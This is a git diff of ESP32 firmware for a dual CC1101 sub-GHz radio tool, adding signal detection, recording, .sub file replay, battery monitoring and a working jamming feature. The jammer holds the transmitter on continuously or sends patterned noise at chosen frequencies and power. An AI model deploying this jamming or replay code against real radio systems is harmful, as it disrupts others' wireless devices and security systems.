ESP_LOGI(TAG, "Opening file: %s", fullPath.c_str()); + if (!SD.exists(fullPath.c_str())) { + std::string msg = "File does not exist: " + fullPath; + ESP_LOGE(TAG, "%s", msg.c_str()); + return msg; + } + File file = SD.open(fullPath.c_str(), FILE_READ); + if (!file) { + std::string msg = "Failed to open file: " + fullPath; + ESP_LOGE(TAG, "%s", msg.c_str()); + return msg; + } + ESP_LOGD(TAG, "File opened successfully, size: %d bytes", file.size()); + file.close(); // Close immediately - will reopen for streaming + + // OPTIMIZED: Use StreamingSubFileParser (minimal RAM usage!) + StreamingSubFileParser streamParser; + StreamingSubFileParser::SubFileHeader header; + + ESP_LOGD(TAG, "Parsing header (pass 1)..."); + if (!streamParser.parseHeader(fullPath.c_str(), header)) { + std::string msg = "Failed to parse header from .sub: " + fullPath; + ESP_LOGE(TAG, "%s", msg.c_str()); + return msg; + } + + // Check if it's a supported protocol (RAW only for now) + if (header.protocol != "RAW") { + std::string msg = "Unsupported protocol (only RAW supported in streaming mode): " + header.protocol; + ESP_LOGE(TAG, "%s", msg.c_str()); + return msg; + } + + ESP_LOGD(TAG, "Header parsed, frequency: %.2f MHz", header.frequency / 1000000.0); + + // Configure CC1101 with proper order: + // CRITICAL: Preset must be applied AFTER Init but BEFORE entering TX mode + // Order: 1) Idle, 2) Init (reset registers), 3) Set frequency, 4) Apply preset, 5) Set TX + ESP_LOGD(TAG, "Configuring CC1101 module %d", module); + + // Get preset bytes + const uint8_t* presetBytes = nullptr; + int presetLength = 0; + + if (!header.preset.empty()) { + presetBytes = getPresetByteArray(header.preset); + if (presetBytes != nullptr) { + presetLength = 44; // Standard presets are 44 bytes + ESP_LOGI(TAG, "Using standard preset: %s", header.preset.c_str()); + } + } + + if (presetBytes == nullptr && header.customPresetDataSize > 0) { + presetBytes = header.customPresetData; + presetLength = header.customPresetDataSize; + ESP_LOGI(TAG, "Using custom preset (%zu bytes)", header.customPresetDataSize); + } + + if (presetBytes == nullptr) { + ESP_LOGW(TAG, "No preset available - using default CC1101 configuration"); + // Use regular setTx without preset + moduleCC1101State[module].setTx(header.frequency / 1000000.0); + } else { + // Use setTxWithPreset which applies preset in correct order + moduleCC1101State[module].setTxWithPreset(header.frequency / 1000000.0, presetBytes, presetLength); + } + + delay(10); + + // ULTRA-OPTIMIZED: Use StreamingPulsePayload (reads from file on-demand!) + // RAM usage: ~100 bytes instead of ~2KB for vector! + ESP_LOGD(TAG, "Initializing streaming transmission (repeat: %d)", repeat); + + StreamingPulsePayload streamingPayload; + if (!streamingPayload.init(fullPath.c_str(), repeat)) { + std::string msg = "Failed to initialize streaming payload: " + fullPath; + ESP_LOGE(TAG, "%s", msg.c_str()); + return msg; + } + + // Transmit directly from file + ESP_LOGD(TAG, "Starting streaming transmission..."); + bool signalTransmitted = transmitData(streamingPayload, module); + ESP_LOGD(TAG, "Transmission result: %s", signalTransmitted ? "SUCCESS" : "FAILED"); + + streamingPayload.close(); + moduleCC1101State[module].restoreConfig().setSidle(); + ESP_LOGI(TAG, "Transmission %s for %s", signalTransmitted ? "SUCCESS" : "FAILED", fullPath.c_str()); + if (!signalTransmitted) { + return "Transmission routine failed for file: " + fullPath; + } + return std::string(); // success +} + +bool CC1101Worker::transmitRawData(const std::vector &rawData, int module) +{ + if (rawData.empty()) { + return false; + } + + for (const auto &rawValue : rawData) { + if (rawValue != 0) { + digitalWrite(moduleCC1101State[module].getOutputPin(), (rawValue > 0)); + delayMicroseconds(abs(rawValue)); + } + } + + return true; +} + +bool CC1101Worker::transmitData(PulsePayload &payload, int module) +{ + uint32_t duration; + bool pinState; + + while (payload.next(duration, pinState)) { + digitalWrite(moduleCC1101State[module].getOutputPin(), pinState); + delayMicroseconds(duration); + taskYIELD(); + } + + return true; +} + +int CC1101Worker::findFirstIdleModule() +{ + for (int i = 0; i < CC1101_NUM_MODULES; ++i) { + // Check with CC1101Worker instead of direct mode check + if (CC1101Worker::getState(i) == CC1101State::Idle) + return i; + } + return -1; +} + +// Helper functions to send commands +bool CC1101Worker::startDetect(int module, int minRssi, bool isBackground) { + if (taskQueue == nullptr) { + ESP_LOGE(TAG, "Task queue not initialized"); + return false; + } + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::StartDetect; + task->module = module; + task->minRssi = minRssi; + task->isBackground = isBackground; + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(100)) != pdTRUE) { + delete task; + ESP_LOGE(TAG, "Failed to enqueue task"); + return false; + } + + return true; +} + +bool CC1101Worker::stopDetect(int module) { + if (taskQueue == nullptr) return false; + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::StopDetect; + task->module = module; + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(100)) != pdTRUE) { + delete task; + return false; + } + + return true; +} + +bool CC1101Worker::startRecord(int module, float frequency, int modulation, float deviation, + float rxBandwidth, float dataRate, const std::string& preset) { + if (taskQueue == nullptr) return false; + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::StartRecord; + task->module = module; + task->frequency = frequency; + task->modulation = modulation; + task->deviation = deviation; + task->rxBandwidth = rxBandwidth; + task->dataRate = dataRate; + task->preset = preset; + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(100)) != pdTRUE) { + delete task; + return false; + } + + return true; +} + +bool CC1101Worker::stopRecord(int module) { + if (taskQueue == nullptr) return false; + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::StopRecord; + task->module = module; + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(100)) != pdTRUE) { + delete task; + return false; + } + + return true; +} + +bool CC1101Worker::transmit(int module, const std::string& filename, int repeat, int pathType) { + if (taskQueue == nullptr) return false; + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::Transmit; + task->module = module; + task->filename = filename; + task->repeat = repeat; + task->pathType = pathType; + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(100)) != pdTRUE) { + delete task; + return false; + } + + return true; +} + +bool CC1101Worker::goIdle(int module) { + if (taskQueue == nullptr) return false; + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::GoIdle; + task->module = module; + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(100)) != pdTRUE) { + delete task; + return false; + } + + return true; +} + +bool CC1101Worker::startAnalyzer(int module, float startFreq, float endFreq, float step, uint32_t dwellTime) { + if (taskQueue == nullptr) return false; + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::StartAnalyzer; + task->module = module; + task->frequency = startFreq; // Use frequency field for startFreq + task->rxBandwidth = endFreq; // Use rxBandwidth field for endFreq + task->deviation = step; // Use deviation field for step + task->dataRate = dwellTime; // Use dataRate field for dwellTime + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(100)) != pdTRUE) { + delete task; + return false; + } + + return true; +} + +bool CC1101Worker::stopAnalyzer(int module) { + if (taskQueue == nullptr) return false; + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::StopAnalyzer; + task->module = module; + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(100)) != pdTRUE) { + delete task; + return false; + } + + return true; +} + +CC1101State CC1101Worker::getState(int module) { + if (module >= 0 && module < CC1101_NUM_MODULES) { + return moduleStates[module]; + } + return CC1101State::Idle; +} + +void CC1101Worker::sendModeNotification(int module, CC1101State newState) { + // Send binary mode switch notification (compatible with old BinaryModeSwitch format) + // NOTE: previousMode is read from moduleStates[module]. Callers should + // invoke this BEFORE updating moduleStates for accurate previous state. + BinaryModeSwitch msg; + msg.module = static_cast(module); + msg.currentMode = static_cast(newState); + msg.previousMode = static_cast(moduleStates[module]); + + // Send as binary data + clients.notifyAllBinary(NotificationType::ModeSwitch, reinterpret_cast(&msg), sizeof(BinaryModeSwitch)); + + ESP_LOGI(TAG, "[NOTIFY] Module=%d: %d β†’ %d", + module, static_cast(msg.previousMode), static_cast(newState)); +} + +void CC1101Worker::sendHeartbeat() { + // CRITICAL: Only send heartbeat if there are connected clients + // Check if any adapter has connected clients before sending + // This prevents unnecessary processing when device is disconnected + if (clients.getConnectedCount() == 0) { + return; // No connected clients, skip heartbeat + } + + // Send full device status for widget updates (same as GetState) + const byte numRegs = 0x2E; + + BinaryStatus status; + status.messageType = MSG_STATUS; + status.module0Mode = static_cast(moduleStates[0]); + status.module1Mode = static_cast(moduleStates[1]); + status.numRegisters = numRegs; + status.freeHeap = ESP.getFreeHeap(); + + // Read all CC1101 registers for both modules + moduleCC1101State[0].readAllConfigRegisters(status.module0Registers, numRegs); + moduleCC1101State[1].readAllConfigRegisters(status.module1Registers, numRegs); + + // Send binary status + clients.notifyAllBinary(NotificationType::State, + reinterpret_cast(&status), + sizeof(BinaryStatus)); + + ESP_LOGD(TAG, "Heartbeat sent: Module0=%d, Module1=%d, FreeHeap=%u", + static_cast(moduleStates[0]), + static_cast(moduleStates[1]), + status.freeHeap); +} + +// ==================================== +// Jamming implementation +// ==================================== + +bool CC1101Worker::startJam(int module, float frequency, int power, + Device::JamPatternType patternType, const std::vector* customPattern, + uint32_t maxDurationMs, uint32_t cooldownMs) { + if (module < 0 || module >= CC1101_NUM_MODULES) { + ESP_LOGE(TAG, "Invalid module for jam: %d", module); + return false; + } + + CC1101Task* task = new CC1101Task(); + task->command = CC1101Command::StartJam; + task->module = module; + task->frequency = frequency; + task->power = power; + task->patternType = patternType; + // Deep-copy the custom pattern to avoid dangling pointer β€” + // the caller's unique_ptr may be destroyed before the worker dequeues. + if (customPattern != nullptr && !customPattern->empty()) { + task->customPatternData = *customPattern; + task->hasCustomPattern = true; + } else { + task->hasCustomPattern = false; + } + task->maxDurationMs = maxDurationMs; + task->cooldownMs = cooldownMs; + + if (xQueueSend(taskQueue, &task, pdMS_TO_TICKS(1000)) != pdTRUE) { + ESP_LOGE(TAG, "Failed to queue jam task for module %d", module); + delete task; + return false; + } + + return true; +} + +bool CC1101Worker::stopJam(int module) { + if (module < 0 || module >= CC1101_NUM_MODULES) { + ESP_LOGE(TAG, "Invalid module for stopJam: %d", module); + return false; + } + + // Call handleStopJam directly since this is called from main task processor + // which already handles synchronization + handleStopJam(module); + return true; +} + +void CC1101Worker::handleStartJam(int module, float frequency, int power, + Device::JamPatternType patternType, const std::vector& customPatternData, + bool hasCustomPattern, uint32_t maxDurationMs, uint32_t cooldownMs) { + ESP_LOGI(TAG, "=== Starting jam on module %d ===", module); + + // Convert pattern type to string for logging + const char* patternName = "Unknown"; + switch (patternType) { + case Device::JamPatternType::Random: patternName = "Random"; break; + case Device::JamPatternType::Alternating: patternName = "Alternating"; break; + case Device::JamPatternType::Continuous: patternName = "Continuous"; break; + case Device::JamPatternType::Custom: patternName = "Custom"; break; + } + + ESP_LOGI(TAG, "Input parameters: freq=%.2f MHz, power=%d, pattern=%s (%d), maxDur=%lu ms, cooldown=%lu ms", + frequency, power, patternName, static_cast(patternType), maxDurationMs, cooldownMs); + + // Stop any ongoing operation first + handleGoIdle(module); + vTaskDelay(pdMS_TO_TICKS(100)); + // Validate power + if (power < 0 || power > 7) { + ESP_LOGW(TAG, "Invalid power %d, clamping to 7", power); + power = 7; + } + + // Configure module for transmission - same logic as in transmitSub + // Use setTxWithPreset() like transmitSub does with preset + ModuleCc1101& m = moduleCC1101State[module]; + m.backupConfig(); + + // Store jamming configuration (needed for pattern generation and time management) + JammingConfig& config = jammingConfigs[module]; + config.frequency = frequency; + config.modulation = MODULATION_ASK_OOK; // Fixed for jamming (Ook650 preset) + config.deviation = 2.380371; // Fixed for jamming (from Ook650 preset) + config.power = power; + config.patternType = patternType; + config.maxDurationMs = maxDurationMs; + config.cooldownMs = cooldownMs; + config.startTimeMs = millis(); + config.isCooldown = false; + config.cooldownStartTimeMs = 0; + config.useDirectPinControl = true; // Enable direct pin control for testing + config.gdo0Pin = m.getOutputPin(); // GDO0 pin (inputPin is actually GDO0) + config.pinInitialized = false; // Reset initialization flags + config.fifoInitialized = false; + + if (patternType == Device::JamPatternType::Custom && hasCustomPattern) { + config.customPattern = customPatternData; // Copy from owned data (safe) + } else { + config.customPattern.clear(); + } + + // Use Ook650 preset as base (ASK/OOK with wide bandwidth - good for jamming) + const uint8_t* basePreset = subghz_device_cc1101_preset_ook_650khz_async_regs; + + // Create preset bytes with power-specific PA table + static uint8_t jamPresetBytes[44]; + memcpy(jamPresetBytes, basePreset, 44); + + // Use setTxWithPreset() - same as transmitSub + m.setTxWithPreset(frequency, jamPresetBytes, 44); + delay(20); // Initial delay after preset application + + // Perform explicit calibration and wait for completion + // Split_MDMCFG2() is called inside calibrate() to update modulation from register + // This ensures optimal frequency accuracy and reduces spurious emissions + m.calibrate(); + bool calComplete = m.waitForCalibration(100); // Wait up to 100ms for calibration + if (!calComplete) { + ESP_LOGW(TAG, "[JAM] Calibration timeout, continuing anyway"); + } else { + ESP_LOGI(TAG, "[JAM] Calibration completed successfully"); + } + delay(20); // Additional delay after calibration for stabilization + + // Set power using CC1101's setPA function + // Convert power level (0-7) to dBm for setPA + // 0=-30, 1=-20, 2=-15, 3=-10, 4=0, 5=5, 6=7, 7=10 dBm + int powerDbm = -30; + if (power == 1) powerDbm = -20; + else if (power == 2) powerDbm = -15; + else if (power == 3) powerDbm = -10; + else if (power == 4) powerDbm = 0; + else if (power == 5) powerDbm = 5; + else if (power == 6) powerDbm = 7; + else if (power >= 7) powerDbm = 10; + + // setPA() will automatically: + // 1. Select correct PA table based on frequency (MHz[currentModule] is set by setMHZ in setTxWithPreset) + // 2. Read modulation from MDMCFG2 register (using Split_MDMCFG2) + // 3. Set PA_TABLE correctly based on modulation type + m.setPA(powerDbm); + delay(20); // Delay for PA stabilization after power setting + + // Additional delay to ensure CC1101 is fully ready for transmission + delay(10); + + // Log key CC1101 registers + byte freq2 = m.getRegisterValue(0x0D); // FREQ2 + byte freq1 = m.getRegisterValue(0x0E); // FREQ1 + byte freq0 = m.getRegisterValue(0x0F); // FREQ0 + + ESP_LOGI(TAG, "CC1101 FREQ: 0x%02X%02X%02X (%.2f MHz), power=%d", + freq2, freq1, freq0, frequency, power); + + // Update state + moduleStates[module] = CC1101State::Jamming; + sendModeNotification(module, CC1101State::Jamming); + + ESP_LOGI(TAG, "=== Jam started on module %d ===", module); +} + +void CC1101Worker::handleStopJam(int module) { + ESP_LOGI(TAG, "Stopping jam on module %d", module); + + ModuleCc1101& m = moduleCC1101State[module]; + JammingConfig& config = jammingConfigs[module]; + + // Reset GDO0 pin to LOW and initialization flags + if (config.useDirectPinControl && config.pinInitialized) { + digitalWrite(config.gdo0Pin, LOW); + config.pinInitialized = false; + ESP_LOGI(TAG, "[JAM] GDO0 pin %d set to LOW", config.gdo0Pin); + } + config.fifoInitialized = false; + + m.setSidle(); + m.restoreConfig(); + m.unlock(); + + moduleStates[module] = CC1101State::Idle; + sendModeNotification(module, CC1101State::Idle); + + ESP_LOGI(TAG, "Jam stopped on module %d", module); +} + +uint8_t CC1101Worker::generateJamPatternByte(int module, size_t index) { + JammingConfig& config = jammingConfigs[module]; + + switch (config.patternType) { + case Device::JamPatternType::Random: + // Generate pseudo-random byte based on index and time + { + uint32_t seed = (millis() << 16) | (index & 0xFFFF) | (module << 24); + // Simple LFSR for pseudo-random number generation + static uint32_t lfsr[CC1101_NUM_MODULES] = {0xACE1u, 0xACE1u}; + uint32_t l = lfsr[module]; + l ^= l >> 7; + l ^= l << 9; + l ^= l >> 13; + lfsr[module] = l; + return static_cast(l ^ seed); + } + + case Device::JamPatternType::Alternating: + // Alternating pattern: 0xAA, 0x55 + return (index % 2 == 0) ? 0xAA : 0x55; + + case Device::JamPatternType::Continuous: + // Continuous transmission + return 0xFF; + + case Device::JamPatternType::Custom: + if (!config.customPattern.empty()) { + return config.customPattern[index % config.customPattern.size()]; + } + return 0xFF; // Fallback + + default: + return 0xFF; + } +} + +void CC1101Worker::generateJamPattern(int module, uint8_t* buffer, size_t length) { + for (size_t i = 0; i < length; i++) { + buffer[i] = generateJamPatternByte(module, i); + } +} + +void CC1101Worker::processJamming(int module) { + JammingConfig& config = jammingConfigs[module]; + uint32_t currentTime = millis(); + + // FIRST check cooldown mode (to avoid re-entrancy) + if (config.isCooldown) { + uint32_t cooldownElapsed = currentTime - config.cooldownStartTimeMs; + if (cooldownElapsed >= config.cooldownMs) { + ESP_LOGI(TAG, "Module %d cooldown complete (%lu ms), resuming jam", module, cooldownElapsed); + config.isCooldown = false; + config.startTimeMs = currentTime; // Reset timer for new cycle + + // Resume transmission + ModuleCc1101& m = moduleCC1101State[module]; + m.setTx(config.frequency); + } else { + // Still in cooldown - just exit + return; + } + } + + // Now check overheat protection (only if NOT in cooldown) + uint32_t elapsed = currentTime - config.startTimeMs; + if (config.maxDurationMs > 0 && elapsed >= config.maxDurationMs) { + ESP_LOGI(TAG, "Module %d jam max duration reached (%lu ms), entering cooldown for %lu ms", + module, elapsed, config.cooldownMs); + config.isCooldown = true; + config.cooldownStartTimeMs = currentTime; + + // Stop transmission + ModuleCc1101& m = moduleCC1101State[module]; + m.setSidle(); + + return; + } + + // Generate and transmit pattern via CC1101 + // Use non-blocking approach: SendData with delay instead of waiting for GDO0 + // This works as jamming - constant data transmission overloads the air + + ModuleCc1101& m = moduleCC1101State[module]; + JammingConfig& jamConfig = jammingConfigs[module]; + + // Log parameters periodically (every 100 calls = ~1 second at 10ms cycle) + static int logCounter[CC1101_NUM_MODULES] = {0, 0}; + if (++logCounter[module] % 100 == 0) { + // Convert pattern type to string for logging + const char* patternName = "Unknown"; + switch (jamConfig.patternType) { + case Device::JamPatternType::Random: patternName = "Random"; break; + case Device::JamPatternType::Alternating: patternName = "Alternating"; break; + case Device::JamPatternType::Continuous: patternName = "Continuous"; break; + case Device::JamPatternType::Custom: patternName = "Custom"; break; + } + + ESP_LOGI(TAG, "[JAM] Module %d: freq=%.2f MHz, mod=%d, dev=%.2f kHz, power=%d, pattern=%s (%d), elapsed=%lu ms", + module, jamConfig.frequency, jamConfig.modulation, jamConfig.deviation, + jamConfig.power, patternName, static_cast(jamConfig.patternType), millis() - jamConfig.startTimeMs); + + // Log current frequency register + byte freq2 = m.getRegisterValue(0x0D); + byte freq1 = m.getRegisterValue(0x0E); + byte freq0 = m.getRegisterValue(0x0F); + ESP_LOGI(TAG, "[JAM] Module %d FREQ registers: 0x%02X%02X%02X", module, freq2, freq1, freq0); + } + + // m.setTx(config.frequency); + + // Choose jamming method: direct pin control or via sendData + if (jamConfig.useDirectPinControl) { + // Direct control of GDO0 pin for continuous jamming + // In ASK/OOK asynchronous mode: HIGH = transmission on, LOW = transmission off + // For effective jamming keep the pin CONSTANTLY HIGH (no toggling) + // This will create a continuous signal without gaps + byte gdo0Pin = jamConfig.gdo0Pin; + + // Set the pin to HIGH once on the first call + // Important: do this after a short delay following CC1101 initialization for stability + if (!jamConfig.pinInitialized) { + // Additional delay before starting transmission to allow CC1101 to stabilize + delay(10); + digitalWrite(gdo0Pin, HIGH); // Continuous transmission + jamConfig.pinInitialized = true; + ESP_LOGI(TAG, "[JAM] Direct pin control initialized: GDO0 pin=%d, state=HIGH (continuous)", gdo0Pin); + } + + // Pin already set to HIGH, do nothing - just yield control + // This ensures continuous transmission without gaps + } else { + // Method via continuous FIFO transmission + // Generate a pattern to transmit (64 bytes - maximum FIFO size) + static uint8_t pattern[64]; + + if (!jamConfig.fifoInitialized) { + // Initialization: fill the FIFO and start continuous transmission + generateJamPattern(module, pattern, 64); + + // Write data to TX FIFO + m.writeToTxFifo(pattern, 64); + + // Start transmission (already in TX mode after setTxWithPreset) + // In asynchronous mode data will be transmitted continuously + jamConfig.fifoInitialized = true; + + ESP_LOGI(TAG, "[JAM] FIFO continuous TX initialized: pattern size=64 bytes"); + ESP_LOGI(TAG, "[JAM] Module %d pattern (first 8 bytes): %02X %02X %02X %02X %02X %02X %02X %02X", + module, pattern[0], pattern[1], pattern[2], pattern[3], pattern[4], pattern[5], pattern[6], pattern[7]); + } + + // Periodically refill FIFO if it becomes empty + // But in asynchronous mode this is not required - data is transmitted directly via GDO0 + // This code is kept for compatibility but is effectively unused + } + + // Yield control to other tasks + taskYIELD(); +} diff --git a/src/modules/CC1101_driver/CC1101_Worker.h b/src/modules/CC1101_driver/CC1101_Worker.h new file mode 100644 index 0000000..9280166 --- /dev/null +++ b/src/modules/CC1101_driver/CC1101_Worker.h @@ -0,0 +1,282 @@ +#ifndef CC1101Worker_h +#define CC1101Worker_h + +#include +#include +#include +#include +#include +#include +#include "config.h" +#include "modules/CC1101_driver/CC1101_Module.h" +#include "modules/subghz_function/ProtocolDecoder.h" +#include +#include +#include "SD.h" +#include "modules/subghz_function/StreamingSubFileParser.h" +#include "StreamingPulsePayload.h" +#include "PulsePayload.h" +#include "DeviceTasks.h" +// Note: moved to CC1101_Worker.cpp β€” only needed there + +// Receive data structure - moved from Recorder.h +#define MAX_SAMPLES_BUFFER 512 // Reduced to 512 to save RAM (~4KB savings) + +struct ReceivedSamples +{ + std::vector samples; // Vector with pre-allocation + volatile unsigned long lastReceiveTime; + + ReceivedSamples() : lastReceiveTime(0) { + // Pre-allocate on construction - no reallocation during ISR + samples.reserve(MAX_SAMPLES_BUFFER); + } + + inline void reset() { + samples.clear(); // Fast with pre-allocated vector + lastReceiveTime = 0; + } +}; + +// CC1101 commands +enum class CC1101Command { + StartDetect, + StopDetect, + StartRecord, + StopRecord, + Transmit, + Configure, + StartAnalyzer, + StopAnalyzer, + GoIdle, + StartJam +}; + +// Current operation state per module +enum class CC1101State { + Idle, + Detecting, + Recording, + Transmitting, + Analyzing, + Jamming +}; + +// DetectedSignal structure (simplified from Detector.h) +struct CC1101DetectedSignal { + int rssi; + uint8_t lqi = 0; // Link Quality Indicator + float frequency; + int module; + bool isBackgroundScanner; + uint32_t signalLength = 0; // Signal duration in ms + bool isDecoded = false; // Protocol recognized? + std::string protocol; // Protocol name if decoded +}; + +// Callbacks +using SignalDetectedCallback = std::function; +using SignalRecordedCallback = std::function; +using TransmitCompleteCallback = std::function; + +// Task structure for CC1101 operations +struct CC1101Task { + CC1101Command command; + int module; // 0 or 1 + + // For detection + int minRssi; + bool isBackground; + + // For recording + float frequency; + int modulation; + float deviation; + float rxBandwidth; + float dataRate; + std::string preset; + + // For transmission + std::string filename; + int repeat; + int pathType; + + // For jamming + int power; + Device::JamPatternType patternType; + std::vector customPatternData; // Owned deep-copy (no dangling pointer) + bool hasCustomPattern; + uint32_t maxDurationMs; + uint32_t cooldownMs; + + CC1101Task() : + command(CC1101Command::GoIdle), + module(0), + minRssi(-50), + isBackground(false), + frequency(433.92), + modulation(2), // ASK_OOK + deviation(2.380371), + rxBandwidth(650), + dataRate(3.79372), + preset("Ook650"), + repeat(1), + pathType(0), + power(7), + patternType(Device::JamPatternType::Random), + hasCustomPattern(false), + maxDurationMs(60000), + cooldownMs(5000) {} +}; + +class CC1101Worker { +public: + static void init(SignalDetectedCallback detectedCb, SignalRecordedCallback recordedCb); + static void start(); + static QueueHandle_t getQueue() { return taskQueue; } + + // Helper functions to send commands + static bool startDetect(int module, int minRssi, bool isBackground); + static bool stopDetect(int module); + static bool startRecord(int module, float frequency, int modulation, float deviation, + float rxBandwidth, float dataRate, const std::string& preset); + static bool stopRecord(int module); + static bool transmit(int module, const std::string& filename, int repeat, int pathType); + static bool goIdle(int module); + static bool startAnalyzer(int module, float startFreq, float endFreq, float step, uint32_t dwellTime); + static bool stopAnalyzer(int module); + static bool startJam(int module, float frequency, int power, + Device::JamPatternType patternType, const std::vector* customPattern, + uint32_t maxDurationMs, uint32_t cooldownMs); + static bool stopJam(int module); + + // Get current state + static CC1101State getState(int module); + + // Find first idle module + static int findFirstIdleModule(); + +private: + static void workerTask(void* parameter); + static void processTask(const CC1101Task& task); + + // Individual operation handlers + static void handleStartDetect(int module, int minRssi, bool isBackground); + static void handleStopDetect(int module); + static void handleStartRecord(int module, const CC1101Task& config); + static void handleStopRecord(int module); + static void handleTransmit(int module, const std::string& filename, int repeat, int pathType); + static void handleStartAnalyzer(int module, float startFreq, float endFreq, float step, uint32_t dwellTime); + static void handleStopAnalyzer(int module); + static void handleGoIdle(int module); + static void handleStartJam(int module, float frequency, int power, + Device::JamPatternType patternType, const std::vector& customPatternData, + bool hasCustomPattern, uint32_t maxDurationMs, uint32_t cooldownMs); + static void handleStopJam(int module); + + // Worker loop handlers + static void processDetecting(int module); + static void processRecording(int module); + static void processAnalyzing(int module); + static void processJamming(int module); + + // Detection logic (from Detector) + static bool detectSignal(int module, int minRssi, bool isBackground); + + // Recording helpers + static void checkAndSaveRecording(int module); + + // Transmission helpers (moved from Transmitter) + static std::string transmitSub(const std::string& filename, int module, int repeat, int pathType); + static bool transmitBinary(float frequency, int pulseDuration, const std::string& bits, int module, int modulation, float deviation, int repeatCount, int wait); + static bool transmitRaw(int module, float frequency, int modulation, float deviation, std::string& data, int repeat); + static bool transmitData(PulsePayload& payload, int module); + + // Template version for streaming payload (works with any type that has next()) + template + static bool transmitData(PayloadT& payload, int module) { + uint32_t duration; + bool pinState; + + while (payload.next(duration, pinState)) { + digitalWrite(moduleCC1101State[module].getOutputPin(), pinState); + delayMicroseconds(duration); + taskYIELD(); + } + + return true; + } + + // Private transmission helpers + static std::vector getCountOfOnOffBits(const std::string& bits); + static bool transmitRawData(const std::vector& rawData, int module); + + // ISR and interrupt management for recording (moved from Recorder) + static void IRAM_ATTR receiveSample(int module); + static void IRAM_ATTR receiver(void* arg); + static void addModuleReceiver(int module); + static void removeModuleReceiver(int module); + static void clearReceivedSamples(int module); + static ReceivedSamples& getReceivedData(int module); + + // Notification helper + static void sendModeNotification(int module, CC1101State state); + static void sendHeartbeat(); + + static QueueHandle_t taskQueue; + static TaskHandle_t workerTaskHandle; + + static CC1101State moduleStates[CC1101_NUM_MODULES]; + static int detectionMinRssi[CC1101_NUM_MODULES]; + static bool detectionIsBackground[CC1101_NUM_MODULES]; + + // Recording config per module + struct RecordingConfig { + float frequency; + int modulation; + float deviation; + float rxBandwidth; + float dataRate; + std::string preset; + }; + static RecordingConfig recordingConfigs[CC1101_NUM_MODULES]; + + // Jamming config per module + struct JammingConfig { + float frequency; + int modulation; + float deviation; + int power; + Device::JamPatternType patternType; + std::vector customPattern; + uint32_t maxDurationMs; + uint32_t cooldownMs; + uint32_t startTimeMs; + bool isCooldown; + uint32_t cooldownStartTimeMs; + bool useDirectPinControl; // Use direct pin control instead of sendData + byte gdo0Pin; // GDO0 pin for direct control + bool pinInitialized; // Flag to track if pin was initialized for continuous TX + bool fifoInitialized; // Flag to track if FIFO was initialized + }; + static JammingConfig jammingConfigs[CC1101_NUM_MODULES]; + + // Pattern generation helpers + static uint8_t generateJamPatternByte(int module, size_t index); + static void generateJamPattern(int module, uint8_t* buffer, size_t length); + + // Callbacks + static SignalDetectedCallback signalDetectedCallback; + static SignalRecordedCallback signalRecordedCallback; + + // Detection frequencies (from Detector) + static float signalDetectionFrequencies[]; + static constexpr int SIGNAL_DETECTION_FREQUENCIES_LENGTH = 18; + + // Recording ISR data structures (moved from Recorder) + static portMUX_TYPE samplesMuxes[CC1101_NUM_MODULES]; + static ReceivedSamples receivedSamples[CC1101_NUM_MODULES]; +}; + +#endif // CC1101Worker_h + diff --git a/src/modules/battery/BatteryModule.cpp b/src/modules/battery/BatteryModule.cpp new file mode 100644 index 0000000..aaae7a7 --- /dev/null +++ b/src/modules/battery/BatteryModule.cpp @@ -0,0 +1,182 @@ +/** + * @file BatteryModule.cpp + * @brief Battery voltage monitoring implementation. + * + * Uses ESP32 ADC1 with calibration for accurate voltage readings. + * GPIO 36 (VP) is an input-only pin with ADC1_CHANNEL_0. + * + * LiPo discharge curve approximation (3.7V nominal): + * 4.20V = 100% + * 4.10V = 90% + * 3.95V = 75% + * 3.80V = 50% + * 3.70V = 25% + * 3.50V = 10% + * 3.20V = 0% (cutoff) + */ + +#include "BatteryModule.h" + +#if BATTERY_MODULE_ENABLED + +#include + +static const char* TAG = "Battery"; + +// Static members +bool BatteryModule::initialized_ = false; +uint16_t BatteryModule::lastVoltage_ = 0; +uint8_t BatteryModule::lastPercent_ = 0; +bool BatteryModule::lastCharging_ = false; +esp_adc_cal_characteristics_t BatteryModule::adcChars_ = {}; +TimerHandle_t BatteryModule::readTimer_ = nullptr; + +void BatteryModule::init() { + if (initialized_) return; + + // Configure ADC1 channel 0 (GPIO 36) with 11dB attenuation + // 11dB attenuation allows reading up to ~3.3V (with some non-linearity above 2.6V) + adc1_config_width(ADC_WIDTH_BIT_12); + adc1_config_channel_atten(ADC1_CHANNEL_0, ADC_ATTEN_DB_12); + + // Characterize ADC for voltage conversion (uses factory calibration if available) + esp_adc_cal_value_t calType = esp_adc_cal_characterize( + ADC_UNIT_1, ADC_ATTEN_DB_12, ADC_WIDTH_BIT_12, 1100, &adcChars_); + + const char* calStr = "None"; + if (calType == ESP_ADC_CAL_VAL_EFUSE_TP) calStr = "Two Point"; + else if (calType == ESP_ADC_CAL_VAL_EFUSE_VREF) calStr = "eFuse Vref"; + else if (calType == ESP_ADC_CAL_VAL_DEFAULT_VREF) calStr = "Default Vref"; + + ESP_LOGI(TAG, "ADC calibration: %s", calStr); + + // Take initial reading + lastVoltage_ = readVoltage(); + lastPercent_ = voltageToPercent(lastVoltage_); + lastCharging_ = isCharging(); + + ESP_LOGI(TAG, "Battery init: %dmV (%d%%) charging=%d", + lastVoltage_, lastPercent_, lastCharging_); + + // Start periodic timer + if (BATTERY_READ_INTERVAL_MS > 0) { + readTimer_ = xTimerCreate( + "BattTimer", + pdMS_TO_TICKS(BATTERY_READ_INTERVAL_MS), + pdTRUE, // Auto-reload + nullptr, + timerCallback + ); + if (readTimer_) { + xTimerStart(readTimer_, 0); + ESP_LOGI(TAG, "Periodic reading every %dms", BATTERY_READ_INTERVAL_MS); + 